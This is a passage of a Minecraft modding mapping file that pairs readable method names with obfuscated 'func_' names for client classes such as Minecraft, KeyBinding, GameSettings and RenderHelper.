net/minecraft/client/settings/KeyBinding/func_151467_c ()Ljava/util/Set; +MD: net/minecraft/client/settings/KeyBinding/compareTo (Ljava/lang/Object;)I net/minecraft/client/settings/KeyBinding/compareTo (Ljava/lang/Object;)I +MD: net/minecraft/client/settings/KeyBinding/isKeyDown ()Z net/minecraft/client/settings/KeyBinding/func_151470_d ()Z +MD: net/minecraft/client/settings/KeyBinding/getKeyCategory ()Ljava/lang/String; net/minecraft/client/settings/KeyBinding/func_151466_e ()Ljava/lang/String; +MD: net/minecraft/client/settings/KeyBinding/isPressed ()Z net/minecraft/client/settings/KeyBinding/func_151468_f ()Z +MD: net/minecraft/client/settings/KeyBinding/getKeyDescription ()Ljava/lang/String; net/minecraft/client/settings/KeyBinding/func_151464_g ()Ljava/lang/String; +MD: net/minecraft/client/settings/KeyBinding/getKeyCodeDefault ()I net/minecraft/client/settings/KeyBinding/func_151469_h ()I +MD: net/minecraft/client/settings/KeyBinding/getKeyCode ()I net/minecraft/client/settings/KeyBinding/func_151463_i ()I +MD: net/minecraft/client/settings/KeyBinding/unpressKey ()V net/minecraft/client/settings/KeyBinding/func_74505_d ()V +MD: net/minecraft/client/renderer/RenderHelper/disableStandardItemLighting ()V net/minecraft/client/renderer/RenderHelper/func_74518_a ()V +MD: net/minecraft/client/renderer/RenderHelper/setColorBuffer (DDDD)Ljava/nio/FloatBuffer; net/minecraft/client/renderer/RenderHelper/func_74517_a (DDDD)Ljava/nio/FloatBuffer; +MD: net/minecraft/client/renderer/RenderHelper/setColorBuffer (FFFF)Ljava/nio/FloatBuffer; net/minecraft/client/renderer/RenderHelper/func_74521_a (FFFF)Ljava/nio/FloatBuffer; +MD: net/minecraft/client/renderer/RenderHelper/enableStandardItemLighting ()V net/minecraft/client/renderer/RenderHelper/func_74519_b ()V +MD: net/minecraft/client/renderer/RenderHelper/enableGUIStandardItemLighting ()V net/minecraft/client/renderer/RenderHelper/func_74520_c ()V +MD: net/minecraft/client/renderer/GLAllocation/generateDisplayLists (I)I net/minecraft/client/renderer/GLAllocation/func_74526_a (I)I +MD: net/minecraft/client/renderer/GLAllocation/deleteDisplayLists (II)V net/minecraft/client/renderer/GLAllocation/func_178874_a (II)V +MD: net/minecraft/client/renderer/GLAllocation/deleteDisplayLists (I)V net/minecraft/client/renderer/GLAllocation/func_74523_b (I)V +MD: net/minecraft/client/renderer/GLAllocation/createDirectByteBuffer (I)Ljava/nio/ByteBuffer; net/minecraft/client/renderer/GLAllocation/func_74524_c (I)Ljava/nio/ByteBuffer; +MD: net/minecraft/client/renderer/GLAllocation/createDirectIntBuffer (I)Ljava/nio/IntBuffer; net/minecraft/client/renderer/GLAllocation/func_74527_f (I)Ljava/nio/IntBuffer; +MD: net/minecraft/client/renderer/GLAllocation/createDirectFloatBuffer (I)Ljava/nio/FloatBuffer; net/minecraft/client/renderer/GLAllocation/func_74529_h (I)Ljava/nio/FloatBuffer; +MD: net/minecraft/client/Minecraft$1/formatString (Ljava/lang/String;)Ljava/lang/String; net/minecraft/client/Minecraft$1/func_74535_a (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/client/Minecraft$11/run ()V net/minecraft/client/Minecraft$11/run ()V +MD: net/minecraft/client/Minecraft$12/call ()Ljava/lang/String; net/minecraft/client/Minecraft$12/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$12/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$12/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$13/call ()Ljava/lang/String; net/minecraft/client/Minecraft$13/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$13/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$13/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$14/call ()Ljava/lang/String; net/minecraft/client/Minecraft$14/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$14/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$14/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$15/call ()Ljava/lang/String; net/minecraft/client/Minecraft$15/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$15/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$15/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$16/call ()Ljava/lang/String; net/minecraft/client/Minecraft$16/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$16/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$16/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$17/call ()Ljava/lang/String; net/minecraft/client/Minecraft$17/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$17/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$17/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$18/call ()Ljava/lang/String; net/minecraft/client/Minecraft$18/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$18/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$18/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$2/call ()Ljava/lang/String; net/minecraft/client/Minecraft$2/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$2/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$2/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$3/call ()Ljava/lang/String; net/minecraft/client/Minecraft$3/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$3/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$3/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$4/call ()Ljava/lang/String; net/minecraft/client/Minecraft$4/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$4/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$4/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$5/call ()Ljava/lang/String; net/minecraft/client/Minecraft$5/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$5/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$5/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$6/call ()Ljava/lang/String; net/minecraft/client/Minecraft$6/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$6/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$6/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$7/call ()Ljava/lang/String; net/minecraft/client/Minecraft$7/call ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft$7/call ()Ljava/lang/Object; net/minecraft/client/Minecraft$7/call ()Ljava/lang/Object; +MD: net/minecraft/client/Minecraft$8/run ()V net/minecraft/client/Minecraft$8/run ()V +MD: net/minecraft/client/Minecraft$9/confirmClicked (ZI)V net/minecraft/client/Minecraft$9/func_73878_a (ZI)V +MD: net/minecraft/client/Minecraft/getMinecraft ()Lnet/minecraft/client/Minecraft; net/minecraft/client/Minecraft/func_71410_x ()Lnet/minecraft/client/Minecraft; +MD: net/minecraft/client/Minecraft/scheduleResourcesRefresh ()Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/client/Minecraft/func_175603_A ()Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/client/Minecraft/getGLMaximumTextureSize ()I net/minecraft/client/Minecraft/func_71369_N ()I +MD: net/minecraft/client/Minecraft/getCurrentServerData ()Lnet/minecraft/client/multiplayer/ServerData; net/minecraft/client/Minecraft/func_147104_D ()Lnet/minecraft/client/multiplayer/ServerData; +MD: net/minecraft/client/Minecraft/isIntegratedServerRunning ()Z net/minecraft/client/Minecraft/func_71387_A ()Z +MD: net/minecraft/client/Minecraft/isSingleplayer ()Z net/minecraft/client/Minecraft/func_71356_B ()Z +MD: net/minecraft/client/Minecraft/getIntegratedServer ()Lnet/minecraft/server/integrated/IntegratedServer; net/minecraft/client/Minecraft/func_71401_C ()Lnet/minecraft/server/integrated/IntegratedServer; +MD: net/minecraft/client/Minecraft/stopIntegratedServer ()V net/minecraft/client/Minecraft/func_71363_D ()V +MD: net/minecraft/client/Minecraft/getPlayerUsageSnooper ()Lnet/minecraft/profiler/PlayerUsageSnooper; net/minecraft/client/Minecraft/func_71378_E ()Lnet/minecraft/profiler/PlayerUsageSnooper; +MD: net/minecraft/client/Minecraft/getSystemTime ()J net/minecraft/client/Minecraft/func_71386_F ()J +MD: net/minecraft/client/Minecraft/isFullScreen ()Z net/minecraft/client/Minecraft/func_71372_G ()Z +MD: net/minecraft/client/Minecraft/getSession ()Lnet/minecraft/util/Session; net/minecraft/client/Minecraft/func_110432_I ()Lnet/minecraft/util/Session; +MD: net/minecraft/client/Minecraft/getTwitchDetails ()Lcom/mojang/authlib/properties/PropertyMap; net/minecraft/client/Minecraft/func_180509_L ()Lcom/mojang/authlib/properties/PropertyMap; +MD: net/minecraft/client/Minecraft/getProfileProperties ()Lcom/mojang/authlib/properties/PropertyMap; net/minecraft/client/Minecraft/func_181037_M ()Lcom/mojang/authlib/properties/PropertyMap; +MD: net/minecraft/client/Minecraft/getProxy ()Ljava/net/Proxy; net/minecraft/client/Minecraft/func_110437_J ()Ljava/net/Proxy; +MD: net/minecraft/client/Minecraft/getTextureManager ()Lnet/minecraft/client/renderer/texture/TextureManager; net/minecraft/client/Minecraft/func_110434_K ()Lnet/minecraft/client/renderer/texture/TextureManager; +MD: net/minecraft/client/Minecraft/getResourceManager ()Lnet/minecraft/client/resources/IResourceManager; net/minecraft/client/Minecraft/func_110442_L ()Lnet/minecraft/client/resources/IResourceManager; +MD: net/minecraft/client/Minecraft/getResourcePackRepository ()Lnet/minecraft/client/resources/ResourcePackRepository; net/minecraft/client/Minecraft/func_110438_M ()Lnet/minecraft/client/resources/ResourcePackRepository; +MD: net/minecraft/client/Minecraft/getLanguageManager ()Lnet/minecraft/client/resources/LanguageManager; net/minecraft/client/Minecraft/func_135016_M ()Lnet/minecraft/client/resources/LanguageManager; +MD: net/minecraft/client/Minecraft/getTextureMapBlocks ()Lnet/minecraft/client/renderer/texture/TextureMap; net/minecraft/client/Minecraft/func_147117_R ()Lnet/minecraft/client/renderer/texture/TextureMap; +MD: net/minecraft/client/Minecraft/isJava64bit ()Z net/minecraft/client/Minecraft/func_147111_S ()Z +MD: net/minecraft/client/Minecraft/isGamePaused ()Z net/minecraft/client/Minecraft/func_147113_T ()Z +MD: net/minecraft/client/Minecraft/getSoundHandler ()Lnet/minecraft/client/audio/SoundHandler; net/minecraft/client/Minecraft/func_147118_V ()Lnet/minecraft/client/audio/SoundHandler; +MD: net/minecraft/client/Minecraft/getAmbientMusicType ()Lnet/minecraft/client/audio/MusicTicker$MusicType; net/minecraft/client/Minecraft/func_147109_W ()Lnet/minecraft/client/audio/MusicTicker$MusicType; +MD: net/minecraft/client/Minecraft/getTwitchStream ()Lnet/minecraft/client/stream/IStream; net/minecraft/client/Minecraft/func_152346_Z ()Lnet/minecraft/client/stream/IStream; +MD: net/minecraft/client/Minecraft/dispatchKeypresses ()V net/minecraft/client/Minecraft/func_152348_aa ()V +MD: net/minecraft/client/Minecraft/run ()V net/minecraft/client/Minecraft/func_99999_d ()V +MD: net/minecraft/client/Minecraft/setDimensionAndSpawnPlayer (I)V net/minecraft/client/Minecraft/func_71354_a (I)V +MD: net/minecraft/client/Minecraft/resize (II)V net/minecraft/client/Minecraft/func_71370_a (II)V +MD: net/minecraft/client/Minecraft/draw (IIIIIIIIII)V net/minecraft/client/Minecraft/func_181536_a (IIIIIIIIII)V +MD: net/minecraft/client/Minecraft/displayDebugInfo (J)V net/minecraft/client/Minecraft/func_71366_a (J)V +MD: net/minecraft/client/Minecraft/access$000 (Lnet/minecraft/client/Minecraft;)Ljava/lang/String; net/minecraft/client/Minecraft/access$000 (Lnet/minecraft/client/Minecraft;)Ljava/lang/String; +MD: net/minecraft/client/Minecraft/displayGuiScreen (Lnet/minecraft/client/gui/GuiScreen;)V net/minecraft/client/Minecraft/func_147108_a (Lnet/minecraft/client/gui/GuiScreen;)V +MD: net/minecraft/client/Minecraft/crashed (Lnet/minecraft/crash/CrashReport;)V net/minecraft/client/Minecraft/func_71404_a (Lnet/minecraft/crash/CrashReport;)V +MD: net/minecraft/client/Minecraft/loadWorld (Lnet/minecraft/client/multiplayer/WorldClient;)V net/minecraft/client/Minecraft/func_71403_a (Lnet/minecraft/client/multiplayer/WorldClient;)V +MD: net/minecraft/client/Minecraft/loadWorld (Lnet/minecraft/client/multiplayer/WorldClient;Ljava/lang/String;)V net/minecraft/client/Minecraft/func_71353_a (Lnet/minecraft/client/multiplayer/WorldClient;Ljava/lang/String;)V +MD: net/minecraft/client/Minecraft/setServerData (Lnet/minecraft/client/multiplayer/ServerData;)V net/minecraft/client/Minecraft/func_71351_a (Lnet/minecraft/client/multiplayer/ServerData;)V +MD: net/minecraft/client/Minecraft/drawSplashScreen (Lnet/minecraft/client/renderer/texture/TextureManager;)V net/minecraft/client/Minecraft/func_180510_a (Lnet/minecraft/client/renderer/texture/TextureManager;)V +MD: net/minecraft/client/Minecraft/readImageToBuffer (Ljava/io/InputStream;)Ljava/nio/ByteBuffer; net/minecraft/client/Minecraft/func_152340_a (Ljava/io/InputStream;)Ljava/nio/ByteBuffer; +MD: net/minecraft/client/Minecraft/addScheduledTask (Ljava/lang/Runnable;)Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/client/Minecraft/func_152344_a (Ljava/lang/Runnable;)Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/client/Minecraft/launchIntegratedServer (Ljava/lang/String;Ljava/lang/String;Lnet/minecraft/world/WorldSettings;)V net/minecraft/client/Minecraft/func_71371_a (Ljava/lang/String;Ljava/lang/String;Lnet/minecraft/world/WorldSettings;)V +MD: net/minecraft/client/Minecraft/addScheduledTask (Ljava/util/concurrent/Callable;)Lcom/google/common/util/concurrent/ListenableFuture; net/minecraft/client/Minecraft/func_152343_a (Ljava/util/concurrent/Callable;)Lcom/google/common/util/concurrent/ListenableFuture; +MD: net/minecraft/client/Minecraft/addServerStatsToSnooper (Lnet/minecraft/profiler/PlayerUsageSnooper;)V net/minecraft/client/Minecraft/func_70000_a (Lnet/minecraft/profiler/PlayerUsageSnooper;)V +MD: net/minecraft/client/Minecraft/setRenderViewEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/client/Minecraft/func_175607_a (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/client/Minecraft/pickBlockWithNBT (Lnet/minecraft/item/Item;ILnet/minecraft/tileentity/TileEntity;)Lnet/minecraft/item/ItemStack; net/minecraft/client/Minecraft/func_181036_a (Lnet/minecraft/item/Item;ILnet/minecraft/tileentity/TileEntity;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/client/Minecraft/setConnectedToRealms (Z)V net/minecraft/client/Minecraft/func_181537_a (Z)V +MD: net/minecraft/client/Minecraft/getCurrentAction ()Ljava/lang/String; net/minecraft/client/Minecraft/func_181538_aA ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft/isCallingFromMinecraftThread ()Z net/minecraft/client/Minecraft/func_152345_ab ()Z +MD: net/minecraft/client/Minecraft/getSessionService ()Lcom/mojang/authlib/minecraft/MinecraftSessionService; net/minecraft/client/Minecraft/func_152347_ac ()Lcom/mojang/authlib/minecraft/MinecraftSessionService; +MD: net/minecraft/client/Minecraft/getSkinManager ()Lnet/minecraft/client/resources/SkinManager; net/minecraft/client/Minecraft/func_152342_ad ()Lnet/minecraft/client/resources/SkinManager; +MD: net/minecraft/client/Minecraft/getRenderViewEntity ()Lnet/minecraft/entity/Entity; net/minecraft/client/Minecraft/func_175606_aa ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/client/Minecraft/isSnooperEnabled ()Z net/minecraft/client/Minecraft/func_70002_Q ()Z +MD: net/minecraft/client/Minecraft/getBlockRendererDispatcher ()Lnet/minecraft/client/renderer/BlockRendererDispatcher; net/minecraft/client/Minecraft/func_175602_ab ()Lnet/minecraft/client/renderer/BlockRendererDispatcher; +MD: net/minecraft/client/Minecraft/getRenderManager ()Lnet/minecraft/client/renderer/entity/RenderManager; net/minecraft/client/Minecraft/func_175598_ae ()Lnet/minecraft/client/renderer/entity/RenderManager; +MD: net/minecraft/client/Minecraft/getRenderItem ()Lnet/minecraft/client/renderer/entity/RenderItem; net/minecraft/client/Minecraft/func_175599_af ()Lnet/minecraft/client/renderer/entity/RenderItem; +MD: net/minecraft/client/Minecraft/getItemRenderer ()Lnet/minecraft/client/renderer/ItemRenderer; net/minecraft/client/Minecraft/func_175597_ag ()Lnet/minecraft/client/renderer/ItemRenderer; +MD: net/minecraft/client/Minecraft/getDebugFPS ()I net/minecraft/client/Minecraft/func_175610_ah ()I +MD: net/minecraft/client/Minecraft/getFrameTimer ()Lnet/minecraft/util/FrameTimer; net/minecraft/client/Minecraft/func_181539_aj ()Lnet/minecraft/util/FrameTimer; +MD: net/minecraft/client/Minecraft/getSessionInfo ()Ljava/util/Map; net/minecraft/client/Minecraft/func_175596_ai ()Ljava/util/Map; +MD: net/minecraft/client/Minecraft/isConnectedToRealms ()Z net/minecraft/client/Minecraft/func_181540_al ()Z +MD: net/minecraft/client/Minecraft/startGame ()V net/minecraft/client/Minecraft/func_71384_a ()V +MD: net/minecraft/client/Minecraft/registerMetadataSerializers ()V net/minecraft/client/Minecraft/func_175608_ak ()V +MD: net/minecraft/client/Minecraft/initStream ()V net/minecraft/client/Minecraft/func_175595_al ()V +MD: net/minecraft/client/Minecraft/createDisplay ()V net/minecraft/client/Minecraft/func_175609_am ()V +MD: net/minecraft/client/Minecraft/setInitialDisplayMode ()V net/minecraft/client/Minecraft/func_175605_an ()V +MD: net/minecraft/client/Minecraft/setWindowIcon ()V net/minecraft/client/Minecraft/func_175594_ao ()V +MD: net/minecraft/client/Minecraft/isJvm64bit ()Z net/minecraft/client/Minecraft/func_147122_X ()Z +MD: net/minecraft/client/Minecraft/startTimerHackThread ()V net/minecraft/client/Minecraft/func_71389_H ()V +MD: net/minecraft/client/Minecraft/updateDisplayMode ()V net/minecraft/client/Minecraft/func_110441_Q ()V +MD: net/minecraft/client/Minecraft/runGameLoop ()V net/minecraft/client/Minecraft/func_71411_J ()V +MD: net/minecraft/client/Minecraft/clickMouse ()V net/minecraft/client/Minecraft/func_147116_af ()V +MD: net/minecraft/client/Minecraft/rightClickMouse ()V net/minecraft/client/Minecraft/func_147121_ag ()V +MD: net/minecraft/client/Minecraft/updateFramebufferSize ()V net/minecraft/client/Minecraft/func_147119_ah ()V +MD: net/minecraft/client/Minecraft/middleClickMouse ()V net/minecraft/client/Minecraft/func_147112_ai ()V +MD: net/minecraft/client/Minecraft/getFramebuffer ()Lnet/minecraft/client/shader/Framebuffer; net/minecraft/client/Minecraft/func_147110_a ()Lnet/minecraft/client/shader/Framebuffer; +MD: net/minecraft/client/Minecraft/updateDebugProfilerName (I)V net/minecraft/client/Minecraft/func_71383_b (I)V +MD: net/minecraft/client/Minecraft/access$100 (Lnet/minecraft/client/Minecraft;)Lnet/minecraft/client/resources/LanguageManager; net/minecraft/client/Minecraft/access$100 (Lnet/minecraft/client/Minecraft;)Lnet/minecraft/client/resources/LanguageManager; +MD: net/minecraft/client/Minecraft/addGraphicsAndWorldToCrashReport (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReport; net/minecraft/client/Minecraft/func_71396_d (Lnet/minecraft/crash/CrashReport;)Lnet/minecraft/crash/CrashReport; +MD: net/minecraft/client/Minecraft/checkGLError (Ljava/lang/String;)V net/minecraft/client/Minecraft/func_71361_d (Ljava/lang/String;)V +MD: net/minecraft/client/Minecraft/addServerTypeToSnooper (Lnet/minecraft/profiler/PlayerUsageSnooper;)V net/minecraft/client/Minecraft/func_70001_b (Lnet/minecraft/profiler/PlayerUsageSnooper;)V +MD: net/minecraft/client/Minecraft/sendClickBlockToController (Z)V net/minecraft/client/Minecraft/func_147115_a (Z)V +MD: net/minecraft/client/Minecraft/getVersion ()Ljava/lang/String; net/minecraft/client/Minecraft/func_175600_c ()Ljava/lang/String; +MD: net/minecraft/client/Minecraft/displayCrashReport (Lnet/minecraft/crash/CrashReport;)V net/minecraft/client/Minecraft/func_71377_b (Lnet/minecraft/crash/CrashReport;)V +MD: net/minecraft/client/Minecraft/isUnicode ()Z net/minecraft/client/Minecraft/func_152349_b ()Z +MD: net/minecraft/client/Minecraft/refreshResources ()V net/minecraft/client/Minecraft/func_110436_a ()V +MD: net/minecraft/client/Minecraft/getSaveLoader ()Lnet/minecraft/world/storage/ISaveFormat; net/minecraft/client/Minecraft/func_71359_d ()Lnet/minecraft/world/storage/ISaveFormat; +MD: net/minecraft/client/Minecraft/shutdownMinecraftApplet ()V net/minecraft/client/Minecraft/func_71405_e ()V +MD: net/minecraft/client/Minecraft/updateDisplay ()V net/minecraft/client/Minecraft/func_175601_h ()V +MD: net/minecraft/client/Minecraft/checkWindowResize ()V net/minecraft/client/Minecraft/func_175604_i ()V +MD: net/minecraft/client/Minecraft/getLimitFramerate ()I net/minecraft/client/Minecraft/func_90020_K ()I +MD: net/minecraft/client/Minecraft/isFramerateLimitBelowMax ()Z net/minecraft/client/Minecraft/func_147107_h ()Z +MD: net/minecraft/client/Minecraft/freeMemory ()V net/minecraft/client/Minecraft/func_71398_f ()V +MD: net/minecraft/client/Minecraft/shutdown ()V net/minecraft/client/Minecraft/func_71400_g ()V +MD: net/minecraft/client/Minecraft/setIngameFocus ()V net/minecraft/client/Minecraft/func_71381_h ()V +MD: net/minecraft/client/Minecraft/setIngameNotInFocus ()V net/minecraft/client/Minecraft/func_71364_i ()V +MD: net/minecraft/client/Minecraft/displayInGameMenu ()V net/minecraft/client/Minecraft/func_71385_j ()V +MD: net/minecraft/client/Minecraft/toggleFullscreen ()V net/minecraft/client/Minecraft/func_71352_k ()V +MD: net/minecraft/client/Minecraft/getMusicTicker ()Lnet/minecraft/client/audio/MusicTicker; net/minecraft/client/Minecraft/func_181535_r ()Lnet/minecraft/client/audio/MusicTicker; +MD: net/minecraft/client/Minecraft/runTick ()V net/minecraft/client/Minecraft/func_71407_l ()V +MD: net/minecraft/client/Minecraft/isDemo ()Z net/minecraft/client/Minecraft/func_71355_q ()Z +MD: net/minecraft/client/Minecraft/getNetHandler ()Lnet/minecraft/client/network/NetHandlerPlayClient; net/minecraft/client/Minecraft/func_147114_u ()Lnet/minecraft/client/network/NetHandlerPlayClient; +MD: net/minecraft/client/Minecraft/isGuiEnabled ()Z net/minecraft/client/Minecraft/func_71382_s ()Z +MD: net/minecraft/client/Minecraft/isFancyGraphicsEnabled ()Z net/minecraft/client/Minecraft/func_71375_t ()Z +MD: net/minecraft/client/Minecraft/isAmbientOcclusionEnabled ()Z net/minecraft/client/Minecraft/func_71379_u ()Z +MD: net/minecraft/util/MouseHelper/grabMouseCursor ()V net/minecraft/util/MouseHelper/func_74372_a ()V +MD: net/minecraft/util/MouseHelper/ungrabMouseCursor ()V net/minecraft/util/MouseHelper/func_74373_b ()V +MD: net/minecraft/util/MouseHelper/mouseXYChange ()V net/minecraft/util/MouseHelper/func_74374_c ()V +MD: net/minecraft/client/settings/GameSettings$1/getActualTypeArguments ()[Ljava/lang/reflect/Type; net/minecraft/client/settings/GameSettings$1/getActualTypeArguments ()[Ljava/lang/reflect/Type; +MD: net/minecraft/client/settings/GameSettings$1/getOwnerType ()Ljava/lang/reflect/Type; net/minecraft/client/settings/GameSettings$1/getOwnerType ()Ljava/lang/reflect/Type; +MD: net/minecraft/client/settings/GameSettings$1/getRawType ()Ljava/lang/reflect/Type; net/minecraft/client/settings/GameSettings$1/getRawType ()Ljava/lang/reflect/Type; +MD: net/minecraft/client/settings/GameSettings$Options/getEnumFloat ()Z net/minecraft/client/settings/GameSettings$Options/func_74380_a ()Z +MD: net/minecraft/client/settings/GameSettings$Options/setValueMax (F)V net/minecraft/client/settings/GameSettings$Options/func_148263_a (F)V +MD: net/minecraft/client/settings/GameSettings$Options/getEnumOptions (I)Lnet/minecraft/client/settings/GameSettings$Options; net/minecraft/client/settings/GameSettings$Options/func_74379_a (I)Lnet/minecraft/client/settings/GameSettings$Options; +MD: net/minecraft/client/settings/GameSettings$Options/access$000 (Lnet/minecraft/client/settings/GameSettings$Options;)F net/minecraft/client/settings/GameSettings$Options/access$000 (Lnet/minecraft/client/settings/GameSettings$Options;)F +MD: net/minecraft/client/settings/GameSettings$Options/getEnumBoolean ()Z net/minecraft/client/settings/GameSettings$Options/func_74382_b ()Z +MD: net/minecraft/client/settings/GameSettings$Options/access$100 (Lnet/minecraft/client/settings/GameSettings$Options;)F net/minecraft/client/settings/GameSettings$Options/access$100 (Lnet/minecraft/client/settings/GameSettings$Options;)F +MD: net/minecraft/client/settings/GameSettings$Options/returnEnumOrdinal ()I net/minecraft/client/settings/GameSettings$Options/func_74381_c ()I +MD: net/minecraft/client/settings/GameSettings$Options/normalizeValue (F)F net/minecraft/client/settings/GameSettings$Options/func_148266_c (F)F +MD: net/minecraft/client/settings/GameSettings$Options/getEnumString ()Ljava/lang/String; net/minecraft/client/settings/GameSettings$Options/func_74378_d ()Ljava/lang/String; +MD: net/minecraft/client/settings/GameSettings$Options/denormalizeValue (F)F net/minecraft/client/settings/GameSettings$Options/func_148262_d (F)F +MD: net/minecraft/client/settings/GameSettings$Options/snapToStepClamp (F)F net/minecraft/client/settings/GameSettings$Options/func_148268_e (F)F +MD: net/minecraft/client/settings/GameSettings$Options/getValueMax ()F net/minecraft/client/settings/GameSettings$Options/func_148267_f ()F +MD: net/minecraft/client/settings/GameSettings$Options/snapToStep (F)F net/minecraft/client/settings/GameSettings$Options/func_148264_f (F)F +MD: net/minecraft/client/settings/GameSettings$Options/valueOf (Ljava/lang/String;)Lnet/minecraft/client/settings/GameSettings$Options; net/minecraft/client/settings/GameSettings$Options/valueOf (Ljava/lang/String;)Lnet/minecraft/client/settings/GameSettings$Options; +MD: net/minecraft/client/settings/GameSettings$Options/values ()[Lnet/minecraft/client/settings/GameSettings$Options; net/minecraft/client/settings/GameSettings$Options/values ()[Lnet/minecraft/client/settings/GameSettings$Options; +MD: net/minecraft/client/settings/GameSettings/loadOptions ()V net/minecraft/client/settings/GameSettings/func_74300_a ()V +MD: net/minecraft/client/settings/GameSettings/isKeyDown (Lnet/minecraft/client/settings/KeyBinding;)Z net/minecraft/client/settings/GameSettings/func_100015_a (Lnet/minecraft/client/settings/KeyBinding;)Z +MD: net/minecraft/client/settings/GameSettings/setOptionKeyBinding (Lnet/minecraft/client/settings/KeyBinding;I)V net/minecraft/client/settings/GameSettings/func_151440_a (Lnet/minecraft/client/settings/KeyBinding;I)V +MD: net/minecraft/client/settings/GameSettings/getOptionFloatValue (Lnet/minecraft/client/settings/GameSettings$Options;)F net/minecraft/client/settings/GameSettings/func_74296_a (Lnet/minecraft/client/settings/GameSettings$Options;)F +MD: net/minecraft/client/settings/GameSettings/setOptionFloatValue (Lnet/minecraft/client/settings/GameSettings$Options;F)V net/minecraft/client/settings/GameSettings/func_74304_a (Lnet/minecraft/client/settings/GameSettings$Options;F)V +MD: net/minecraft/client/settings/GameSettings/setOptionValue (Lnet/minecraft/client/settings/GameSettings$Options;I)V net/minecraft/client/settings/GameSettings/func_74306_a (Lnet/minecraft/client/settings/GameSettings$Options;I)V +MD: net/minecraft/client/settings/GameSettings/getSoundLevel (Lnet/minecraft/client/audio/SoundCategory;)F net/minecraft/client/settings/GameSettings/func_151438_a (Lnet/minecraft/client/audio/SoundCategory;)F +MD: net/minecraft/client/settings/GameSettings/setSoundLevel (Lnet/minecraft/client/audio/SoundCategory;F)V net/minecraft/client/settings/GameSettings/func_151439_a (Lnet/minecraft/client/audio/SoundCategory;F)V +MD: net/minecraft/client/settings/GameSettings/parseFloat (Ljava/lang/String;)F net/minecraft/client/settings/GameSettings/func_74305_a (Ljava/lang/String;)F +MD: net/minecraft/client/settings/GameSettings/switchModelPartEnabled (Lnet/minecraft/entity/player/EnumPlayerModelParts;)V net/minecraft/client/settings/GameSettings/func_178877_a (Lnet/minecraft/entity/player/EnumPlayerModelParts;)V +MD: net/minecraft/client/settings/GameSettings/setModelPartEnabled (Lnet/minecraft/entity/player/EnumPlayerModelParts;Z)V net/minecraft/client/settings/GameSettings/func_178878_a (Lnet/minecraft/entity/player/EnumPlayerModelParts;Z)V +MD: net/minecraft/client/settings/GameSettings/getTranslation ([Ljava/lang/String;I)Ljava/lang/String; net/minecraft/client/settings/GameSettings/func_74299_a ([Ljava/lang/String;I)Ljava/lang/String; +MD: net/minecraft/client/settings/GameSettings/saveOptions ()V net/minecraft/client/settings/GameSettings/func_74303_b ()V +MD: net/minecraft/client/settings/GameSettings/getOptionOrdinalValue (Lnet/minecraft/client/settings/GameSettings$Options;)Z net/minecraft/client/settings/GameSettings/func_74308_b (Lnet/minecraft/client/settings/GameSettings$Options;)Z +MD: net/minecraft/client/settings/GameSettings/sendSettingsToServer ()V net/minecraft/client/settings/GameSettings/func_82879_c ()V +MD: net/minecraft/client/settings/GameSettings/getKeyDisplayString (I)Ljava/lang/String; net/minecraft/client/settings/GameSettings/func_74298_c (I)Ljava/lang/String; +MD: net/minecraft/client/settings/GameSettings/getKeyBinding (Lnet/minecraft/client/settings/GameSettings$Options;)Ljava/lang/String; net/minecraft/client/settings/GameSettings/func_74297_c (Lnet/minecraft/client/settings/GameSettings$Options;)Ljava/lang/String; +MD: net/minecraft/client/settings/GameSettings/getModelParts ()Ljava/util/Set; net/minecraft/client/settings/GameSettings/func_178876_d ()Ljava/util/Set; +MD: net/minecraft/client/settings/GameSettings/shouldRenderClouds ()I net/minecraft/client/settings/GameSettings/func_181147_e ()I +MD: net/minecraft/client/settings/GameSettings/isUsingNativeTransport ()Z net/minecraft/client/settings/GameSettings/func_181148_f ()Z +MD: 